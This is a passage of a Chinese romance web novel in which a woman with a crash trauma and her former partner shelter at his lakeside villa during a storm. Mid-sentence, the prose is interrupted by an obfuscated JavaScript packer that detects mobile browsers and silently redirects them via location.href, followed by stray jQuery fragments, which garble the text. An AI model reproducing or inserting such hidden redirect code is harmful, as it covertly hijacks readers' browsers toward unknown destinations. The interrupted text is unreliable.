“那要绕路吗？”叶语莺也直起身体，看向前方那片红光交错的车流。
程明笃点开导航，屏幕上迅速跳出三条替代路线，最短的那条也得多出四十分钟，“可以绕，从东边进山路过去，不过弯多路窄，弯道也大。”
叶语莺毫不犹豫否认了这条路线，“我记得以前这条路出过不少车祸，算了吧。”
她望向窗外，雨势已经逼近滂沱，车窗被水雾模糊了一片，偶尔划过的雨刷也无法完全抹净那些冷意。
“你决定吧。”她语气看似轻松，实则心里已经没了底。
程明笃没有多问，点了确认，车子跟着前车缓慢转向，驶入岔路。
山路果然如他所说，昏暗、狭窄，几乎没有路灯，弯道频繁，两侧是被黑夜吞没的山体与湿滑的密林，唯有车灯前探出的那几米勉强撑出一点前路。
车内一片静默，只有雨水拍击车顶和雨刷往复摩擦的声音，像某种漫长的试炼在一寸一寸剥离人的情绪。
叶语莺手指紧扣在外骨骼的金属接口上，掌心全是冷汗。
那场车祸的记忆几乎是瞬间浮上脑海——同样的大雨、同样的山路、同样的视线模糊。她还记得车冲出护栏前的一秒，同学抓着方向盘的手在发抖，而她当时什么都来不及做，甚至来不及尖叫。
那之后得很久她都没有知觉，醒来时已经半身不遂了……
叶语莺死死盯着前方已经变形的雨幕，胸腔剧烈起伏，指节因用力过度而泛白。
她攥着自己的外套，努力控制情绪，压制那些自创伤以来就牢牢钉在身体里的生理本能。
“停车！”她失控地出声，声音都变掉了，几乎带着些尖叫。
程明笃听出她话里的紧绷，毫不迟疑地放缓车速，将车靠边停在一个稍宽的避让带上，打开双闪。
他目光沉了下来，悄无声息地看向她，似乎在探寻着什么。
她的反应，的确过激了。
雨下得更加急切，打在挡风玻璃上，劈啪作响。车厢里却异常安静，连呼吸带着压抑。
过了许久，叶语莺才转头，声音沙哑：“别去了，没必要冒这种风险……”
程明笃深邃的眼神中没有质疑，只有一句：“好。”
但是话音落下，他久久没有移开视线，似乎在试图猜测她这反应下是否是某种重大事件后的应激。
她自顾自打开手机，“我定个房间，你把我送到市区就好。”
一分钟后，她颓废地放下手机，无奈地说：“满员了。”
“今天很多人滞留蓉城，正常。”他目光动了动，低声说。
“你可以去我那里住一晚，要是觉得不方便话，我今晚回老宅睡。 ”
这样能保证两个人不在同一个屋檐下。
“栖止小筑吗？”叶语莺不确定地问道。
那栋坐落在湖边，带日式庭院的别墅，最大的特点是，被竹林包围，屋内会散发着天然的木头香气。
她没想到，他竟还保留着那座屋子。
程明笃点了点头，“嗯，我很久没去过了，周末会有人去打扫。”
“我还以为……你已经卖掉了……”她的声音里带着一点不可察觉的感叹，又像是顺手翻出了某段陈年旧话。
当年原本那房子本就是要被卖掉的，因为这是他当时多数时间在国外，这是他母亲留在国内的房产，结构特殊，需要有点打理，来回折腾有些麻烦。
但是她入住了，有人住反倒能保养房子。
这一住，就住到了她出国前夕……
她记得栖止小筑——那里发生过他们关系最美好的一段时光。
周末的清晨，湖面上会起雾，他站在阳台上喝茶，而她窝在角落的藤椅里，仰头吃着零食，或者什么也不做。
风吹进来，干净的木香混着湖水的气息，吹拂着她轻盈的裙摆和垂落的发丝。
他们总在晚饭后去湖边散步，院子里有个秋千架，风一吹就会传来竹林的沙沙声，她在这样的天气里，窝在他怀里看书，时常不知不觉间就睡着了，书页翻开，轻轻被她抱在怀里，呼吸清浅，气息和湖风交融。
他们那时一同逃离了程家的宅子，在那里过着无人打扰的生活……
叶语莺说，那是“流放式自由”。
如今回忆起来，每一寸都是温热的，美好得如同生命中的错觉一般。
“没有卖掉。”程明笃喉结动了动，言尽于此，没有解释原因。
*
车子绕过一段熟悉的湖道，来到了蓉城的另一角，雨渐渐弱了，天边被乌云撕开一角，漏出微弱的月光。
也不知道是雷暴还未来得及降临，还是这里得到了大地之神的庇护。
栖止小筑就坐落在湖的那一侧，竹林后面透出柔和的感应灯光，屋檐下有雨水滴落的声音，有些冷清。
程明笃缓缓把车停在石板路旁，转头看她：“到了。”
叶语莺望着那座熟悉的房子，许久没有动。
“走吧。”他轻声说。
她轻轻点头，推开车门，踏进夜色中那间沉默已久的庇护所。
风吹过竹林，依旧是那种沙沙的声音，像什么都没变。
脚步踩在湿漉漉的石板路上，雨水顺着竹叶滴落，落在悬挂的油纸伞伞骨间、屋脊边缘、檐下……
屋前的感应灯将他们的影子拉长，在旧木门前交叠、重合。
程明笃先一步推开门，屋内传来木头开合的沉闷声，一股混着木香与湖气的潮湿气息扑面而来——有些清冽，因为保养得当。
他走进去，将玄关的灯打开，柔和的光亮缓缓铺展开来，映出熟悉的摆设——矮木几、藤靠椅、旧唱片机……一切都安静如初，好像那几年从未流逝。
叶语莺站在门口，没有立刻迈步，而是望着那个她曾无数次梦回的空间，有些忘记如何踏入了。
“有点的吧？”她摸黑着开口，声音轻得像怕惊扰什么。
“没有停掉。”他走向厨房方向，边应着边打开开关。
片刻后，厨房传来电流启动的声音，随后是热水壶咕嘟的响动，如同异常歌剧在交响乐中拉开帷幕。
“红茶？”他忽然从厨房探头出来，语气随意，不动声色。
“对。”她脱口而出，自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293452|167021||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己也一愣。
其实她已经很久不喝了，那些年她把所有和他的关联都从生活里剔除了，连口味都改了。但现在，她顺口答应下来。
“刚好有新买的。”他收回视线，转身开始准备。
她慢慢走进屋里，脱下外套挂好，动作小心、缓慢，有些生疏，像个外来的拘谨的访客。
窗外湖面仍有细小的雾气飘浮，风穿过竹林，吹动屋檐风铃，叮叮当当，是那个旧调子，一点没变。
她站在书架前，指腹轻轻摩挲那些熟悉的书脊——《白夜》、《百年孤独》、《卡拉马佐夫兄弟》……甚至还有她当年留下的几本德语原版小说，书签还卡在中间都留下印记了，当时她一个字都看不懂。
她想到了什么，赶紧收回手，也说不好这些书现在该属于谁了。
“你这些年都住江城吗？”
“嗯。”
叶语莺没有继续问。
她望着那本她留下的书，精神恍惚了几下，索性收回视线坐到了沙发上。
想到了什么，赶紧将手伸进包里确认。
她没有预判到过夜的情况，想确认止痛药的量是否还能撑到明天中午——
结果是，可能有点悬。
几分钟后，茶香渐渐氤氲在屋内。他端着两杯热茶走来，将其中一杯递给她。
“你还是加一点糖吗？”他问。
她抬眼看他一眼，轻轻点头。
他便去厨房拿了黄糖，金属勺加了一点进去，搅拌。
“谢谢。”她接过茶，捧在手里，温热从掌心慢慢传上来，茶香总带着某种慰藉。
他坐到她对面，两人中间隔着一张矮桌和一盏灯，光落在他们之间，也照着他们眼底的旧事。
她望着茶水里轻轻旋转的茶叶，好像找不到什么话说，便轻声问道，“有什么唱片吗？可以充当下背景音。”
否则这份沉默有些难熬。
“都放在那里了，你看看想听什么。”他的声音在室内清润了一些。
她低头啜了一口茶，转头便能够到身旁的唱片架。
只需淡淡扫一眼，她就能知道这些年程明笃没有添置新的唱片。
她伸手抽出一张黑胶封套，封面已经磨旧，字体却依旧清晰。
封面被时间磨得泛黄，却依然能看出“Queen”那个极具辨识度的标志。
那是一张限量纪念版唱片——200X年，皇后乐队的首张同名专辑《Queen》以180克黑胶的形式重新发行。该版本再现了1973年美国首版专辑的封面设计，旨在满足收藏者和音质爱好者的需求，一共限量五百张，每一张都有独立编号。
这张，是第117号。
程明笃在波士顿的唱片行排了很久的队买到的。
她端详着这张唱片，总隐隐记得，自己离开的前一刻，刚好就是用唱片机放着它……
她一边收拾行李，一边听着那首融合了摇滚抒情和重金属元素《Doing All Right》，唱片快转完时轻轻吱了一声。
她犹豫了一下，终究还是关了播放器，把行李拎出了门。